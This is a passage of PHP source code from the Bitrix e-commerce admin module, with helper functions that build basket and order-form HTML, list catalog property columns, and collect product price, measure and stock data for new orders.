$result .= "<a href=\"javascript:void(0);\" class=\"get_new_order\" onClick=\"fAddToBasketMoreProduct('".$type."', ".$item["PRODUCT_ID"].");return false;\"><span></span>".GetMessage('NEWO_SUBTAB_ADD_BASKET')."</a><br>";
else
$result .= "<a href=\"javascript:void(0);\" class=\"get_new_order\" onClick=\"fAddToBasketMoreProductSku(".CUtil::PhpToJsObject($arResult['SKU_ELEMENTS']).", ".CUtil::PhpToJsObject($arResult['SKU_PROPERTIES']).", 'basket', ".CUtil::PhpToJsObject($arResult["POPUP_MESSAGE"]).");\"><span></span>".GetMessage('NEWO_SUBTAB_ADD_BASKET')."</a><br>";
if (!$crmMode)
{
if (count($arResult["SKU_ELEMENTS"]) > 0)
{
$result .= "<a href=\"javascript:void(0);\" class=\"get_new_order\" onClick=\"fAddToBasketMoreProductSku(".CUtil::PhpToJsObject($arResult['SKU_ELEMENTS']).", ".CUtil::PhpToJsObject($arResult['SKU_PROPERTIES']).", 'neworder', ".CUtil::PhpToJsObject($arResult["POPUP_MESSAGE"]).");\"><span></span>".GetMessage('NEWO_SUBTAB_ADD_ORDER')."</a>";
}
else
{
$cntProd = (floatval($item["QUANTITY"]) > 0) ? floatval($item["QUANTITY"]) : 1;
$url = "/bitrix/admin/sale_order_new.php?lang=".LANGUAGE_ID."&user_id=".$USER_ID."&LID=".$LID."&product[".$item["PRODUCT_ID"]."]=".$cntProd;
$result .= "<a href=\"".$url."\" target=\"_blank\" class=\"get_new_order\"><span></span>".GetMessage('NEWO_SUBTAB_ADD_ORDER')."</a>";
}
}
$result .= "</td></tr>";
// show set items
if (!empty($arSet) && array_key_exists($arProduct["ID"], $arSet))
{
foreach ($arSet[$arProduct["ID"]] as $set)
{
$editUrl = CIBlock::GetAdminElementEditLink($set["IBLOCK_ID"], $set["ITEM_ID"], array(
"find_section_section" => $set["IBLOCK_SECTION_ID"],
'WF' => 'Y',
));
if ($set["PREVIEW_PICTURE"] > 0)
$imgCode = $set["PREVIEW_PICTURE"];
elseif ($set["DETAIL_PICTURE"] > 0)
$imgCode = $set["DETAIL_PICTURE"];
if ($imgCode > 0)
{
$arFile = CFile::GetFileArray($imgCode);
$arImgProduct = CFile::ResizeImageGet($arFile, array('width'=>80, 'height'=>80), BX_RESIZE_IMAGE_PROPORTIONAL, false, false);
if (is_array($arImgProduct))
{
$imgUrl = $arImgProduct["src"];
$img = '<a href="'.$editUrl.'" target="_blank"><img src="'.$arImgProduct["src"].'" alt="" title="'.$set["NAME"].'" ></a>';
}
}
else
$img = '<div class="no_foto">'.GetMessage('SOD_NO_FOTO')."</div>";
$result .= '
<tr style="display:none" class="set_item_b'.$arProduct["ID"].'">
<td class="tab_img">'.$img.'</td>
<td class="tab_text">
<div class="order_name">
<a href="'.$editUrl.'" style="font-style:italic" target="_blank" title="'.$set["NAME"].'">'.$set["NAME"].'</a>
</div>
<div class="order_price">'.GetMessage('NEWO_SUBTAB_PRICE').': <b>'.SaleFormatCurrency($set["PRICE"], $currency).'</b></div>
</td>
</tr>';
}
}
}//end foreach
}
}//end if
if ($arData["CNT"] > 2 && $arData["CNT"] != count($arData["ITEMS"]))
{
$result .= "<tr><td colspan='2' align='right' class=\"more_product\">";
if ($type == "basket")
$result .= "<a href='javascript:void(0);' onClick='fGetMoreBasket(\"Y\");' class=\"get_more\">".GetMessage('NEWO_SUBTAB_MORE')."<span></span></a>";
elseif ($type == "viewed")
$result .= "<a href='javascript:void(0);' onClick='fGetMoreViewed(\"Y\");' class=\"get_more\">".GetMessage('NEWO_SUBTAB_MORE')."<span></span></a>";
else
$result .= "<a href='javascript:void(0);' onClick='fGetMoreRecom();' class=\"get_more\">".GetMessage('NEWO_SUBTAB_MORE')."<span></span></a>";
$result .= "</td></tr>";
}
$result .= "</table>";
return $result;
}
function fDeleteDoubleProduct($arShoppingCart = array(), $arDelete = array(), $showAll = 'N')
{
global $COUNT_RECOM_BASKET_PROD;
$arResult = array(
"CNT" => 0,
"ITEMS" => array(),
);
$arShoppingCartTmp = array();
$arProductId = array();
if (empty($arDelete) ||!is_array($arDelete))
$arDelete = array();
if (!empty($arShoppingCart) && is_array($arShoppingCart))
{
foreach($arShoppingCart as $key => $val)
{
if (!in_array($val["PRODUCT_ID"], $arDelete))
{
$arShoppingCartTmp[] = $val;
$arProductId[] = $val["PRODUCT_ID"];
}
}
}
if (!empty($arShoppingCartTmp))
{
if (CModule::IncludeModule('catalog'))
{
$i = 0;
$arSection = array();
$res = CIBlockElement::GetList(array(), array("ID" => $arProductId), false, false, array('ID', 'IBLOCK_ID', 'IBLOCK_SECTION_ID', 'IBLOCK_TYPE_ID'));
while ($arSectionTmp = $res->Fetch())
$arSection[$arSectionTmp["ID"]] = $arSectionTmp;
foreach($arShoppingCartTmp as $key => $val)
{
if (!isset($val["PRODUCT_ID"]))
$val["PRODUCT_ID"] = $val["ID"];
if ((!isset($val["EDIT_PAGE_URL"]) || $val["EDIT_PAGE_URL"] == "") && $arSection[$val["PRODUCT_ID"]]["IBLOCK_ID"] > 0)
{
$val["EDIT_PAGE_URL"] = CIBlock::GetAdminElementEditLink($arSection[$val["PRODUCT_ID"]]["IBLOCK_ID"], $val["PRODUCT_ID"], array(
"find_section_section" => $arSection[$val["PRODUCT_ID"]]["IBLOCK_SECTION_ID"],
'WF' => 'Y',
));
}
$arResult["ITEMS"][] = $val;
$i++;
if ($i >= $COUNT_RECOM_BASKET_PROD && $showAll == "N")
break;
}
}
}
if ($showAll == "Y")
$arResult["CNT"] = count($arResult["ITEMS"]);
else
$arResult["CNT"] = count($arShoppingCartTmp);
return $arResult;
}
function getNameCount($propName, $propCode, $arProps)
{
$count = 1;
foreach ($arProps as &$arData)
{
if (isset($arData["NAME"]) && $arData["NAME"] == $propName && $propCode != $arData["CODE"])
$count++;
}
unset($arData);
return $count;
}
function getIblockNames($arIblockIDs, $arIblockNames)
{
$str = '';
foreach ($arIblockIDs as &$iblockID)
{
$str .= '"'.$arIblockNames[$iblockID].'", ';
}
unset($iblockID);
$str .= '#';
return str_replace(', #', '', $str);
}
function getAdditionalColumns()
{
static $propList = null;
if ($propList === null && Loader::includeModule('catalog'))
{
$arIblockIDs = array();
$arIblockNames = array();
$catalogIterator = Catalog\CatalogIblockTable::getList(array(
'select' => array('IBLOCK_ID', 'NAME' => 'IBLOCK.NAME'),
'order' => array('IBLOCK_ID' => 'ASC')
));
while ($catalog = $catalogIterator->fetch())
{
$catalog['IBLOCK_ID'] = (int)$catalog['IBLOCK_ID'];
$arIblockIDs[] = $catalog['IBLOCK_ID'];
$arIblockNames[$catalog['IBLOCK_ID']] = $catalog['NAME'];
}
unset($catalog, $catalogIterator);
if (!empty($arIblockIDs))
{
$arProps = array();
$propertyIterator = Iblock\PropertyTable::getList(array(
'select' => array('ID', 'CODE', 'NAME', 'IBLOCK_ID'),
'filter' => array('@IBLOCK_ID' => $arIblockIDs, '=ACTIVE' => 'Y'),
'order' => array('IBLOCK_ID' => 'ASC', 'SORT' => 'ASC', 'ID' => 'ASC')
));
while ($property = $propertyIterator->fetch())
{
$property['ID'] = (int)$property['ID'];
$property['IBLOCK_ID'] = (int)$property['IBLOCK_ID'];
$property['CODE'] = (string)$property['CODE'];
if ($property['CODE'] == '')
$property['CODE'] = $property['ID'];
if (!isset($arProps[$property['CODE']]))
{
$arProps[$property['CODE']] = array(
'CODE' => $property['CODE'],
'TITLE' => $property['NAME'].' ['.$property['CODE'].']',
'ID' => array($property['ID']),
'IBLOCK_ID' => array($property['IBLOCK_ID'] => $property['IBLOCK_ID']),
'IBLOCK_TITLE' => array($property['IBLOCK_ID'] => $arIblockNames[$property['IBLOCK_ID']]),
'COUNT' => 1
);
}
else
{
$arProps[$property['CODE']]['ID'][] = $property['ID'];
$arProps[$property['CODE']]['IBLOCK_ID'][$property['IBLOCK_ID']] = $property['IBLOCK_ID'];
if ($arProps[$property['CODE']]['COUNT'] < 2)
$arProps[$property['CODE']]['IBLOCK_TITLE'][$property['IBLOCK_ID']] = $arIblockNames[$property['IBLOCK_ID']];
$arProps[$property['CODE']]['COUNT']++;
}
}
unset($property, $propertyIterator, $arIblockNames, $arIblockIDs);
$propList = array();
foreach ($arProps as &$property)
{
$iblockList = '';
if ($property['COUNT'] > 1)
{
$iblockList = ($property['COUNT'] > 2 ? ' ( ... )' : ' ('.implode(', ', $property['IBLOCK_TITLE']).')');
}
$propList['PROPERTY_'.$property['CODE']] = $property['TITLE'].$iblockList;
}
unset($property, $arProps);
}
}
return (empty($propList) ? array() : $propList);
}
/*
* Returns old history data records (used before august 2013) in the new format
*/
function convertHistoryToNewFormat($arFields)
{
foreach ($arFields as $fieldname => $fieldvalue)
{
if (strlen($fieldvalue) > 0)
{
foreach (CSaleOrderChangeFormat::$operationTypes as $code => $arInfo)
{
if (in_array($fieldname, $arInfo["TRIGGER_FIELDS"]))
{
$arData = array();
foreach ($arInfo["DATA_FIELDS"] as $field)
$arData[$field] = $arFields["$field"];
return array(
"ID" => $arFields["ID"],
"ORDER_ID" => $arFields["H_ORDER_ID"],
"TYPE" => $code,
"DATA" => serialize($arData),
"DATE_CREATE" => $arFields["H_DATE_INSERT"],
"DATE_MODIFY" => $arFields["H_DATE_INSERT"],
"USER_ID" => $arFields["H_USER_ID"]
);
}
}
}
}
return false;
}
/*
* Returns HTML to download or view file (if image) in the order_detail
*/
function showImageOrDownloadLink($fileId, $orderId = 0, $arSize = array("WIDTH" => 90, "HEIGHT" => 90))
{
$resultHTML = "";
$arFile = CFile::GetFileArray($fileId);
if ($arFile)
{
$is_image = CFile::IsImage($arFile["FILE_NAME"], $arFile["CONTENT_TYPE"]);
if ($is_image)
$resultHTML = CFile::ShowImage($arFile["ID"], $arSize["WIDTH"], $arSize["HEIGHT"], "border=0", "", true);
else
$resultHTML = "<a href=\"sale_order_detail.php?ID=".$orderId."&download=Y&file_id=".$arFile["ID"]."&".bitrix_sessid_get()."\">".$arFile["ORIGINAL_NAME"]."</a>";
}
return $resultHTML;
}
function getIblockPropInfo($value, $propData, $arSize = array("WIDTH" => 90, "HEIGHT" => 90), $orderId = 0)
{
$res = "";
if ($propData["MULTIPLE"] == "Y")
{
$arVal = array();
if (!is_array($value))
{
if (strpos($value, ",") !== false)
$arVal = explode(",", $value);
else
$arVal[] = $value;
}
else
$arVal = $value;
if (count($arVal) > 0)
{
foreach ($arVal as $key => $val)
{
if ($propData["PROPERTY_TYPE"] == "F")
{
if (strlen($res) > 0)
$res .= "<br/> ".showImageOrDownloadLink(trim($val), $orderId, $arSize);
else
$res = showImageOrDownloadLink(trim($val), $orderId, $arSize);
}
else
{
if (strlen($res) > 0)
$res .= ", ".$val;
else
$res = $val;
}
}
}
}
else
{
if ($propData["PROPERTY_TYPE"] == "F")
$res = showImageOrDownloadLink($value, $orderId, $arSize);
else
$res = $value;
}
if (strlen($res) == 0)
$res = " ";
return $res;
}
/*
* Returns HTML of columns names (<td></td>) for the basket items table
* Used in the order_new and order_detail
*/
function getColumnsHeaders($arUserColumns, $page = "edit", $bWithStores = false)
{
$prefix = ($page == "edit") ? "NEW_" : "SOD_";
if ($page != "edit")
$bWithStores = false;
foreach ($arUserColumns as $columnCode => $columnName)
{
switch ($columnCode)
{
case "COLUMN_NUMBER":
?>
<td><?=GetMessage($prefix."COLUMN_NUMBER")?></td>
<?
break;
case "COLUMN_NAME":
?>
<td><?=GetMessage($prefix."COLUMN_NAME")?></td>
<?
break;
case "COLUMN_IMAGE":
?>
<td><?=GetMessage($prefix."COLUMN_IMAGE")?></td>
<?
break;
case "COLUMN_QUANTITY":
?>
<td><?=GetMessage($prefix."COLUMN_QUANTITY")?></td>
<?
if ($bWithStores):
?>
<td><?=GetMessage("SALE_F_STORE")?></td>
<td><?=GetMessage("SALE_F_STORE_CUR_AMOUNT")?></td>
<td><?=GetMessage("SALE_F_STORE_AMOUNT")?></td>
<td><?=GetMessage("SALE_F_STORE_BARCODE")?></td>
<?
endif;
break;
case "COLUMN_REMAINING_QUANTITY":
?>
<td><?=GetMessage($prefix."COLUMN_REMAINING_QUANTITY")?></td>
<?
break;
case "COLUMN_PROPS":
?>
<td><?=GetMessage($prefix."COLUMN_PROPS")?></td>
<?
break;
case "COLUMN_PRICE":
?>
<td><?=GetMessage($prefix."COLUMN_PRICE")?></td>
<?
break;
case "COLUMN_SUM":
?>
<td><?=GetMessage($prefix."COLUMN_SUM")?></td>
<?
break;
default:
?>
<td><?=$columnName?></td>
<?
break;
}
}
}
/*
* Returns appropriate css class for the input control if barcode is valid or not
*/
function setBarcodeClass($barcodeValue)
{
$result = "";
if ($barcodeValue == "Y")
$result = "store_barcode_found_input";
elseif ($barcodeValue == "N")
$result = "store_barcode_not_found";
return $result;
}
/*
* Returns array of product parameters to fill basket table row in the order_new form
* Can be called recursively to get data about Set items
*/
function getProductDataToFillBasket($productId, $quantity, $userId, $LID, $userColumns, $tmpId = "")
{
if (!\Bitrix\Main\Loader::includeModule("catalog"))
return array();
$arParams = array();
static $proxyIblockElement = array();
static $proxyCatalogMeasure = array();
static $proxyParent = array();
static $proxyIblockProperty = array();
static $proxyProductData = array();
static $proxyCatalogProduct = array();
static $proxyCatalogMeasureRatio = array();
$productId = (int)$productId;
if ($productId <= 0)
{
return $arParams;
}
if (!empty($proxyIblockElement[$productId]))
{
$iblockId = $proxyIblockElement[$productId];
}
else
{
$iblockId = (int)CIBlockElement::GetIBlockByID($productId);
if (intval($iblockId) > 0)
$proxyIblockElement[$productId] = $iblockId;
}
if ($iblockId <= 0)
{
return $arParams;
}
$arSku2Parent = array();
$arElementId = array();
$arElementId[] = $productId;
$proxyParentKey = $productId."|".$iblockId;
if (!empty($proxyParent[$proxyParentKey]) && is_array($proxyParent[$proxyParentKey]))
{
$arParent = $proxyParent[$proxyParentKey];
}
else
{
$arParent = CCatalogSku::GetProductInfo($productId, $iblockId);
$proxyParent[$proxyParentKey] = $arParent;
}
if ($arParent)
{
$arElementId[] = $arParent["ID"];
$arSku2Parent[$productId] = $arParent["ID"];
}
$arPropertyInfo = array();
$userColumns = (string)$userColumns;
$arUserColumns = ($userColumns != '') ? explode(",", $userColumns) : array();
foreach ($arUserColumns as $key => $column)
{
if (strncmp($column, 'PROPERTY_', 9) != 0)
{
unset($arUserColumns[$key]);
}
else
{
$column = strtoupper($column);
$propertyCode = substr($column, 9);
if ($propertyCode == '')
{
unset($arUserColumns[$key]);
continue;
}
if (!empty($proxyIblockProperty[$propertyCode]) && is_array($proxyIblockProperty[$propertyCode]))
{
$arPropertyInfo[$column] = $proxyIblockProperty[$propertyCode];
}
else
{
$dbres = CIBlockProperty::GetList(array(), array("CODE" => $propertyCode));
if ($arPropData = $dbres->GetNext())
{
$arPropertyInfo[$column] = $arPropData;
$proxyIblockProperty[$propertyCode] = $arPropData;
}
}
}
}
$arSelect = array_merge(
array("ID", "NAME", "LID", "IBLOCK_ID", "IBLOCK_SECTION_ID", "DETAIL_PICTURE", "PREVIEW_PICTURE", "DETAIL_PAGE_URL", "XML_ID", "IBLOCK_XML_ID"),
$arUserColumns
);
$proxyProductDataKey = md5(join('|', $arElementId)."_".join('|', $arSelect));
if (!empty($proxyProductData[$proxyProductDataKey]) && is_array($proxyProductData[$proxyProductDataKey]))
{
$arProductData = $proxyProductData[$proxyProductDataKey];
}
else
{
$arProductData = getProductProps($arElementId, $arSelect);
$proxyProductData[$proxyProductDataKey] = $arProductData;
}
$defaultMeasure = CCatalogMeasure::getDefaultMeasure(true, true);
if (!empty($arProductData))
{
$arElementInfo = array();
foreach ($arProductData as $elemId => &$arElement)
{
foreach ($arElement as $key => $value)
{
if (strncmp($key, 'PROPERTY_', 9) == 0 && substr($key, -6) == "_VALUE")
{
$columnCode = str_replace("_VALUE", "", $key);
if (!isset($arPropertyInfo[$columnCode]))
continue;
$keyResult = 'PROPERTY_'.$arPropertyInfo[$columnCode]['CODE'].'_VALUE';
$arElement[$key] = getIblockPropInfo($value, $arPropertyInfo[$columnCode], array("WIDTH" => 90, "HEIGHT" => 90));
if ($keyResult != $key)
$arElement[$keyResult] = $arElement[$key];
unset($keyResult);
}
}
}
unset($arElement);
if (isset($arProductData[$productId]))
$arElementInfo = $arProductData[$productId];
if (isset( $arSku2Parent[$productId]))
$arParent = $arProductData[$arSku2Parent[$productId]];
if (!empty($arSku2Parent)) // if sku element doesn't have value of some property - we'll show parent element value instead
{
foreach ($arUserColumns as $field)
{
$fieldVal = $field."_VALUE";
$parentId = $arSku2Parent[$productId];
if ((!isset($arElementInfo[$fieldVal]) || (isset($arElementInfo[$fieldVal]) && strlen($arElementInfo[$fieldVal]) == 0))
&& (isset($arProductData[$parentId][$fieldVal]) && !empty($arProductData[$parentId][$fieldVal]))) // can be array or string
{
$arElementInfo[$fieldVal] = $arProductData[$parentId][$fieldVal];
}
}
if (strpos($arElementInfo["~XML_ID"], '#') === false)
{
$arElementInfo["~XML_ID"] = $arParent['~XML_ID'].'#'.$arElementInfo["~XML_ID"];
}
}
$arElementInfo["MODULE"] = "catalog";
$arElementInfo["PRODUCT_PROVIDER_CLASS"] = "CCatalogProductProvider";
$arElementInfo["PRODUCT_ID"] = $arElementInfo["ID"];
if ($arElementInfo["IBLOCK_ID"] > 0)
{
$arElementInfo["EDIT_PAGE_URL"] = CIBlock::GetAdminElementEditLink($arElementInfo["IBLOCK_ID"], $arElementInfo["PRODUCT_ID"], array(
"find_section_section" => $arElementInfo["IBLOCK_SECTION_ID"],
'WF' => 'Y',
));
}
$arBuyerGroups = CUser::GetUserGroup($userId);
// price
Catalog\Product\Price\Calculation::pushConfig();
Catalog\Product\Price\Calculation::setConfig(array(
'CURRENCY' => Sale\Internals\SiteCurrencyTable::getSiteCurrency($LID),
'PRECISION' => (int)Main\Config\Option::get('sale', 'value_precision'),
'USE_DISCOUNTS' => true,
'RESULT_WITH_VAT' => true
));
$arPrice = CCatalogProduct::GetOptimalPrice($arElementInfo["ID"], 1, $arBuyerGroups, "N", array(), $LID);
Catalog\Product\Price\Calculation::popConfig();
$currentPrice = $arPrice['RESULT_PRICE']['DISCOUNT_PRICE'];
$arElementInfo['PRICE'] = $currentPrice;
$arElementInfo['CURRENCY'] = $arPrice['RESULT_PRICE']['CURRENCY'];
$arElementInfo['DISCOUNT_PRICE'] = $arPrice['RESULT_PRICE']['DISCOUNT'];
$currentTotalPrice = $arPrice['RESULT_PRICE']['BASE_PRICE'];
$discountPercent = (int)$arPrice['RESULT_PRICE']['PERCENT'];
$arProduct = array();
if (!empty($proxyCatalogProduct[$productId]) && is_array($proxyCatalogProduct[$productId]))
{
$arProduct = $proxyCatalogProduct[$productId];
}
else
{
$rsProducts = CCatalogProduct::GetList(
array(),
array('ID' => $productId),
false,
false,
array('ID', 'QUANTITY', 'WEIGHT', 'MEASURE', 'TYPE', 'BARCODE_MULTI')
);
if ($arProduct = $rsProducts->Fetch())
{
$proxyCatalogProduct[$productId] = $arProduct;
}
}
if (empty($arProduct) || !is_array($arProduct))
{
return array();
}
$balance = floatval($arProduct["QUANTITY"]);
// sku props
$arSkuData = array();
$arProps[] = array(
"NAME" => "Catalog XML_ID",
"CODE" => "CATALOG.XML_ID",
"VALUE" => $arElementInfo['~IBLOCK_XML_ID']
);
static $proxySkuProperty = array();
if (!empty($proxySkuProperty[$productId]) && is_array($proxySkuProperty[$productId]))
{
$arSkuProperty = $proxySkuProperty[$productId];
}
else
{
$arSkuProperty = CSaleProduct::GetProductSkuProps($productId, '', true);
$proxySkuProperty[$productId] = $arSkuProperty;
}
if (!empty($arSkuProperty))
{
foreach ($arSkuProperty as &$val)
{
$arSkuData[] = array(
'NAME' => $val['NAME'],
'VALUE' => $val['VALUE'],
'CODE' => $val['CODE']
);
}
unset($val);
}
$arSkuData[] = array(
"NAME" => "Product XML_ID",
"CODE" => "PRODUCT.XML_ID",
"VALUE" => $arElementInfo["~XML_ID"]
);
// currency
$arCurFormat = CCurrencyLang::GetCurrencyFormat($arElementInfo["CURRENCY"]);
$priceValutaFormat = str_replace("#", "", $arCurFormat["FORMAT_STRING"]);
$arElementInfo["WEIGHT"] = $arProduct["WEIGHT"];
// measure
$arElementInfo["MEASURE_TEXT"] = "";
$arElementInfo["MEASURE_CODE"] = 0;
if ((int)$arProduct["MEASURE"] > 0)
{
if (!empty($proxyCatalogMeasure[$arProduct["MEASURE"]]) && is_array($proxyCatalogMeasure[$arProduct["MEASURE"]]))
{
$arMeasure = $proxyCatalogMeasure[$arProduct["MEASURE"]];
}
else
{
$dbMeasure = CCatalogMeasure::GetList(array(), array("ID" => intval($arProduct["MEASURE"])), false, false, array("ID", "SYMBOL_RUS", "SYMBOL_INTL"));
if ($arMeasure = $dbMeasure->Fetch())
{
$proxyCatalogMeasure[$arProduct["MEASURE"]] = $arMeasure;
}
}
if (!empty($arMeasure) && is_array($arMeasure))
{
$arElementInfo["MEASURE_TEXT"] = ($arMeasure["SYMBOL_RUS"] != '' ? $arMeasure["SYMBOL_RUS"] : $arMeasure["SYMBOL_INTL"]);
$arElementInfo["MEASURE_CODE"] = $arMeasure["CODE"];
}
}
if ($arElementInfo["MEASURE_TEXT"] == '')
{
$arElementInfo["MEASURE_TEXT"] = ($defaultMeasure["SYMBOL_RUS"] != '' ? $defaultMeasure["SYMBOL_RUS"] : $defaultMeasure["SYMBOL_INTL"]);
}
// ratio
$arElementInfo["RATIO"] = 1;
if (!empty($proxyCatalogMeasureRatio[$productId]) && is_array($proxyCatalogMeasureRatio[$productId]))
{
$arRatio = $proxyCatalogMeasureRatio[$productId];
}
else
{
$dbratio = Catalog\MeasureRatioTable::getList(array(
'select' => array('*'),
'filter' => array('=PRODUCT_ID' => $productId, '=IS_DEFAULT' => 'Y')
));
if ($arRatio = $dbratio->fetch())
{
$proxyCatalogMeasureRatio[$productId] = $arRatio;
}
}
if (!empty($arRatio) && is_array($arRatio))
$arElementInfo["RATIO"] = $arRatio["RATIO"];
// image
$imgCode = '';
$imgUrl = '';
if ($arElementInfo["PREVIEW_PICTURE"] > 0)
$imgCode = $arElementInfo["PREVIEW_PICTURE"];
elseif ($arElementInfo["DETAIL_PICTURE"] > 0)
$imgCode = $arElementInfo["DETAIL_PICTURE"];
if ($imgCode == "" && count($arParent) > 0)
{
if ($arParent["PREVIEW_PICTURE"] > 0)
$imgCode = $arParent["PREVIEW_PICTURE"];
elseif ($arParent["DETAIL_PICTURE"] > 0)
$imgCode = $arParent["DETAIL_PICTURE"];
}
if ($imgCode > 0)
{
$arFile = CFile::GetFileArray($imgCode);
$arImgProduct = CFile::ResizeImageGet($arFile, array('width'=>80, 'height'=>80), BX_RESIZE_IMAGE_PROPORTIONAL, false, false);
if (is_array($arImgProduct))
$imgUrl = $arImgProduct["src"];
}
$arSetInfo = array();
$arStores = array();
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider(array("MODULE" => $arElementInfo["MODULE"], "PRODUCT_PROVIDER_CLASS" => $arElementInfo["PRODUCT_PROVIDER_CLASS"])))
{
// get set items if it is set
if ($arProduct["TYPE"] == CCatalogProduct::TYPE_SET)
{
if (method_exists($productProvider, "GetSetItems"))
{
$arSets = $productProvider::GetSetItems($productId, CSaleBasket::TYPE_SET);
if ($tmpId == "")
$tmpId = randString(7);
if (!empty($arSets))
{
foreach ($arSets as $arSetData)
{
foreach ($arSetData["ITEMS"] as $setItem)
{
$arSetItemParams = getProductDataToFillBasket($setItem["PRODUCT_ID"], $setItem["QUANTITY"], $userId, $LID, $userColumns, $tmpId); // recursive call
// re-define some fields with set data values
$arSetItemParams["id"] = $setItem["PRODUCT_ID"];
$arSetItemParams["name"] = $setItem["NAME"];
$arSetItemParams["module"] = $setItem["MODULE"];
$arSetItemParams["productProviderClass"] = $setItem["PRODUCT_PROVIDER_CLASS"];
$arSetItemParams["url"] = $setItem["DETAIL_PAGE_URL"];
$arSetItemParams["quantity"] = $setItem["QUANTITY"] * $quantity;
$arSetItemParams["barcodeMulti"] = $setItem["BARCODE_MULTI"];
$arSetItemParams["productType"] = $setItem["TYPE"];
$arSetItemParams["weight"] = $setItem["WEIGHT"];
$arSetItemParams["vatRate"] = $setItem["VAT_RATE"];
$arSetItemParams["setItems"] = "";
$arSetItemParams["setParentId"] = $productId."_tmp".$tmpId;
$arSetItemParams["isSetItem"] = "Y";
$arSetItemParams["isSetParent"] = "N";
$arSetInfo[] = $arSetItemParams;
}
}
}
}
}
// get stores
$storeCount = $productProvider::GetStoresCount(array("SITE_ID" => $LID)); // with exact SITE_ID or SITE_ID = NULL
if ($storeCount > 0)
{
if ($arProductStore = $productProvider::GetProductStores(array("PRODUCT_ID" => $productId, "SITE_ID" => $LID)))
$arStores = $arProductStore;
}
}
$currentTotalPrice = (float)$currentTotalPrice;
// params array
$arParams["id"] = $productId;
$arParams["name"] = $arElementInfo["~NAME"];
$arParams["url"] = htmlspecialcharsex($arElementInfo["~DETAIL_PAGE_URL"]);
$arParams["urlEdit"] = $arElementInfo["EDIT_PAGE_URL"];
$arParams["urlImg"] = $imgUrl;
$arParams["price"] = floatval($arElementInfo["PRICE"]);
$arParams["priceBase"] = $currentTotalPrice;
$arParams["priceBaseFormat"] = CCurrencyLang::CurrencyFormat($currentTotalPrice, $arElementInfo["CURRENCY"], false);
$arParams["priceFormated"] = CCurrencyLang::CurrencyFormat(floatval($arElementInfo["PRICE"]), $arElementInfo["CURRENCY"], false);
$arParams["valutaFormat"] = $priceValutaFormat;
$arParams["dimensions"] = serialize(array("WIDTH" => $arElementInfo["WIDTH"], "HEIGHT" => $arElementInfo["HEIGHT"], "LENGTH" => $arElementInfo["LENGTH"]));
$arParams["priceDiscount"] = floatval($arElementInfo["DISCOUNT_PRICE"]);
$arParams["priceTotalFormated"] = CCurrencyLang::CurrencyFormat($currentTotalPrice, $arElementInfo["CURRENCY"], true);
$arParams["discountPercent"] = $discountPercent;
$arParams["summaFormated"] = CCurrencyLang::CurrencyFormat($arElementInfo["PRICE"], $arElementInfo["CURRENCY"], false);
$arParams["quantity"] = $quantity;
$arParams["module"] = $arElementInfo["MODULE"];
$arParams["currency"] = $arElementInfo["CURRENCY"];
$arParams["weight"] = $arElementInfo["WEIGHT"];
$arParams["vatRate"] = $arPrice["PRICE"]["VAT_RATE"];
$arParams["priceType"] = $arPrice["PRICE"]["CATALOG_GROUP_NAME"];
$arParams["balance"] = $balance;
$arParams["notes"] = (!empty($arPrice["PRICE"]["CATALOG_GROUP_NAME"]) ? $arPrice["PRICE"]["CATALOG_GROUP_NAME"] : "");
$arParams["catalogXmlID"] = $arElementInfo["~IBLOCK_XML_ID"];
$arParams["productXmlID"] = $arElementInfo["~XML_ID"];
$arParams["callback"] = "";
$arParams["orderCallback"] = "";
$arParams["cancelCallback"] = "";
$arParams["payCallback"] = "";
$arParams["productProviderClass"] = $arElementInfo["PRODUCT_PROVIDER_CLASS"];
$arParams["skuProps"] = $arSkuData;
$arParams["measureText"] = $arElementInfo["MEASURE_TEXT"];
$arParams["measureCode"] = $arElementInfo["MEASURE_CODE"];
$arParams["ratio"] = $arElementInfo["RATIO"];
$arParams["barcodeMulti"] = $arProduct["BARCODE_MULTI"];
$arParams["productType"] = empty($arSetInfo) ? "" : CSaleBasket::TYPE_SET;
$arParams["setParentId"] = empty($arSetInfo) ? "" : $productId."_tmp".$tmpId;
$arParams["setItems"] = $arSetInfo;
$arParams["isSetItem"] = "N";
$arParams["isSetParent"] = empty($arSetInfo) ? "N" : "Y";
$arParams["stores"] = empty($arSetInfo) ? $arStores : array();
$arParams["productPropsValues"] = $arElementInfo; // along with other information also contains values of properties with correct keys (after getProductProps)
}
return $arParams;
}
?>